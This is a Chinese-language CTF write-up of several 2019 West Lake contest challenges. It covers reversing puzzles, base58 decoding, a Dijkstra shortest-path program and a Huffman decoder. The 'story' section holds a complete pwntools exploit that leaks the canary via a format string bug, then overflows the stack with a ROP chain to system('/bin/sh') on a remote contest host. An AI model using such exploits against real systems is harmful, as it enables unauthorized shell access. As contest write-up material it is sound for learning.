西湖论剑2019部分writeup
做了一天水了几道题发现自己比较菜,mfc最后也没怼出来,被自己菜哭
easycpp
c++的stl算法,先读入一个数组,再产生一个斐波拉契数列数组
main::{lambda(int)#1}::operator() 是相加函数
使用transform调用lambda(int)#1让数组从第二位到最后一位都加上第一位,然后将数组倒置
把处理后的数组与斐波拉契数组比较,若相等则输出flag,逆向求出输入即可。
testre
大部分代码没有用处,去掉混淆的代码,主要部分是这些
while ( v20 < v28 ) { v21 = *(unsigned __int8 *)(v25input + v20); for ( j = n - 1; ; --j ) { v10 = 1; if ( j <= v18 ) v10 = v21 != 0; if ( !v10 ) break; v21 += v11[j] << 8; v11[j] = v21 % 0x3A; v21 /= 0x3A; if ( !j ) break; } ++v20; v18 = j; }
整个程序就是base58的加密程序,通过谷歌特征值或者看比较字符串也不难发现是base系列算法,线上解密即可。
story
输入的地方有格式化字符串漏洞,checksec发现开启了cannary,泄露cannary的值和libc_main的地址
第二个输入的地方有栈溢出,把返回地址覆盖为system函数
因为是64位程序,所以“/bin/sh”参数要存在rdi寄存器(RDI RSI RDX RCX R8 R9)
ROPgadget --binary story --only 'pop|ret' | grep 'rdi' #找到rop链存参数"/bin/sh"
from pwn import * context.log_level = 'debug' elf = ELF('./story') # p = process('./story') p = remote('ctf2.linkedbyx.com', 10855) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p.recvuntil("Please Tell Your ID:") # raw_input() p.sendline("%23$p %25$p") p.recvuntil('Hello ') canary = int(p.recvuntil(' '), 16) print('canary:' + hex(canary)) __libc_start_main = int(p.recvuntil('\n'), 16)-240 print('__libc_start_main:' + hex(__libc_start_main)) libc.address = __libc_start_main - libc.symbols['__libc_start_main'] system = libc.symbols['system'] print('system:' + hex(system)) binsh = next(libc.search('/bin/sh')) print('binsh_addr:' + hex(binsh)) p.recvuntil('Tell me the size of your story:\n') p.sendline(str(129)) p.recvuntil('You can speak your story:') payload = 'a'*0x88 + p64(canary) + p64(0) + p64(0x400bd3) + p64(binsh) + p64(system) p.sendline(payload) p.interactive()
最短路径
就是求最短路的题目,数据量很少手动也能做出来,使用 dijkstra算法算出最短路径和经过的路径。
#include<iostream> #include<cstdio> #include<cstring> using namespace std; const int INF=0x3f3f3f3f; int matrix[103][103],d[103],vis[103],pre[103],path[103]; int n=34; /* 'flag{' 1 'FloraPrice' 2 'E11' 3 'E9' 4 '75D}' 5 'NoraFayette' 6 'E10' 7 'E13' 8 'E12' 9 'E14' 10 'E7' 11 'E6' 12 'SylviaAvondale' 13 'MyraLiddel' 14 'HelenLloyd' 15 'KatherinaRogers' 16 'VerneSanderson' 17 'E8' 18 'FrancesAnderson' 19 'E3' 20 'DorothyMurchison' 21 'EvelynJefferson' 22 'E5' 23 'E4' 24 'E1' 25 'E2' 26 'RuthDeSand' 27 'OliviaCarleton' 28 'EleanorNye' 29 'TheresaAnderson' 30 'PearlOglethorpe' 31 'BrendaRogers' 32 'LauraMandeville' 33 'CharlotteMcDowd' 34 */ void dijkstra(int s){ for(int i=1;i<=n;i++){ d[i]=matrix[1][i]; pre[i]=s; } memset(vis,0,sizeof(vis)); for(int k=1;k<=n;k++){ int v=-1; for(int i=1;i<=n;i++){ if(!vis[i]&&(v==-1||d[i]<d[v]))v=i; } vis[v]=1; for(int i=1;i<=n;i++){ int tmp=d[v]+matrix[v][i]; if(tmp<d[i]){ d[i]=tmp; pre[i]=v; } } } } void printPath(int en){ printf("从起点到%d的路径是:\n",en); path[0]=en; int k=1; for(int i=pre[en];i!=1;i=pre[i]){ path[k++]=i; } printf("1"); for(int i=k-1;i>=0;i--){ printf("->%d",path[i]); } printf("\n"); } int main(){ for(int i=1;i<=n;i++){ for(int j=1;j<=n;j++){ matrix[i][j]=100; } } matrix[2][3]=1,matrix[2][4]=1,matrix[2][5]=1,matrix[6][3]=1,matrix[6][7]=1,matrix[6][8]=1,matrix[6][9]=1,matrix[6][10]=1,matrix[6][4]=1,matrix[6][11]=1,matrix[6][12]=1,matrix[7][13]=1,matrix[7][14]=1,matrix[7][15]=1,matrix[7][16]=1,matrix[17][11]=1,matrix[17][9]=1,matrix[17][4]=1,matrix[17][18]=1,matrix[9][15]=1,matrix[9][16]=1,matrix[9][13]=1,matrix[9][14]=1,matrix[10][13]=1,matrix[10][5]=1,matrix[10][16]=1,matrix[19][23]=1,matrix[19][12]=1,matrix[19][18]=1,matrix[19][20]=1,matrix[21][4]=1,matrix[21][18]=1,matrix[22][4]=1,matrix[22][18]=1,matrix[22][23]=1,matrix[22][24]=1,matrix[22][12]=1,matrix[22][25]=1,matrix[22][20]=1,matrix[22][26]=1,matrix[27][23]=1,matrix[27][11]=1,matrix[27][4]=1,matrix[27][18]=1,matrix[15][3]=1,matrix[15][11]=1,matrix[15][18]=1,matrix[28][3]=1,matrix[28][4]=1,matrix[29][23]=1,matrix[29][11]=1,matrix[29][12]=1,matrix[29][18]=1,matrix[4][30]=1,matrix[4][31]=1,matrix[4][16]=1,matrix[4][13]=1,matrix[4][14]=1,matrix[18][30]=1,matrix[18][31]=1,matrix[18][16]=1,matrix[18][13]=1,matrix[18][32]=1,matrix[18][33]=1,matrix[18][14]=1,matrix[23][30]=1,matrix[23][32]=1,matrix[23][33]=1,matrix[23][34]=1,matrix[24][34]=1,matrix[24][30]=1,matrix[24][32]=1,matrix[11][30]=1,matrix[11][13]=1,matrix[11][32]=1,matrix[11][33]=1,matrix[11][34]=1,matrix[12][30]=1,matrix[12][31]=1,matrix[12][32]=1,matrix[12][33]=1,matrix[25][33]=1,matrix[25][32]=1,matrix[20][30]=1,matrix[20][32]=1,matrix[20][33]=1,matrix[20][34]=1,matrix[20][1]=1,matrix[26][33]=1,matrix[26][30]=1,matrix[16][8]=1,matrix[8][13]=1; for(int i=1;i<=n;i++){ for(int j=1;j<=n;j++){ if (matrix[i][j]!=100) matrix[j][i]=matrix[i][j]; } } dijkstra(1); printPath(5); }
哈夫曼之谜
哈夫曼编码问题,左边字符右边权重,网上找个类似问题改下代码
const int maxvalue=130; const int maxbit=130; const int maxn=200; #include "iostream" #include "stdio.h" #include "string.h" #include "stdlib.h" using namespace std; struct haffnode { char ch; int weight; int flag; int parent; int leftchild; int rightchild; }; struct code { int bit[maxn]; int start; int weight; char ch; }; void haffman(int weight[],char text[],int n,haffnode hafftree[]) { int j,m1,m2,x1,x2,i; for(i=0;i< 2*n-1;i++) { if(i < n) { hafftree[i].weight=weight[i]; hafftree[i].ch=text[i]; } else { hafftree[i].weight=0; hafftree[i].ch='#'; } hafftree[i].parent=0; hafftree[i].flag=0; hafftree[i].leftchild=-1; hafftree[i].rightchild=-1; } for(i=0;i< n-1;i++) { m1=m2=maxvalue; x1=x2=0; for(j=0;j<n+i;j++) { if(hafftree[j].weight<m1&&hafftree[j].flag==0) { m2=m1; x2=x1; m1=hafftree[j].weight; x1=j; } else if(hafftree[j].weight< m2&&hafftree[j].flag==0) { m2=hafftree[j].weight; x2=j; } } hafftree[x1].parent=n+i; hafftree[x2].parent=n+i; hafftree[x1].flag=1; hafftree[x2].flag=1; hafftree[n+i].weight=hafftree[x1].weight+hafftree[x2].weight; hafftree[n+i].leftchild=x1; hafftree[n+i].rightchild=x2; } } void haffmancode(haffnode hafftree[],int n,code haffcode[]) { code cd; int i,j; int child,parent; for( i=0;i< n;i++) { cd.start=n-1; cd.weight=hafftree[i].weight; cd.ch=hafftree[i].ch; child=i; parent=hafftree[child].parent; while(parent!=0) { if(hafftree[parent].leftchild==child) cd.bit[cd.start]=0; else cd.bit[cd.start]=1; cd.start--; child=parent; parent=hafftree[child].parent; } for(j=cd.start+1;j<n;j++) haffcode[i].bit[j]=cd.bit[j]; haffcode[i].start=cd.start; haffcode[i].weight=cd.weight; haffcode[i].ch=cd.ch; } } void ccode(haffnode hafftree[],int n) { int i,j=0,m=2*n-1; char b[maxn]; memset(b,'\0',sizeof(b)); i=m-1; scanf("%s",b); while(b[j]!='\0') { if(b[j]=='0') i=hafftree[i].leftchild; else i=hafftree[i].rightchild; if(hafftree[i].leftchild==-1) { printf("%c",hafftree[i].ch); i=m-1; } j++; } } int main( ) { int n=9; int weight[]={4, 9, 1, 5, 1,7,9,1,1}; char text[]={'a','5','{','f','g','0','d','}','l'}; haffnode myhafftree[maxvalue]; code myhaffcode[maxvalue]; haffman(weight,text,n,myhafftree); haffmancode(myhafftree,n,myhaffcode); ccode(myhafftree,n); return 0; }
输出flag
Only when you plant the flowers can you really smell their fragrance.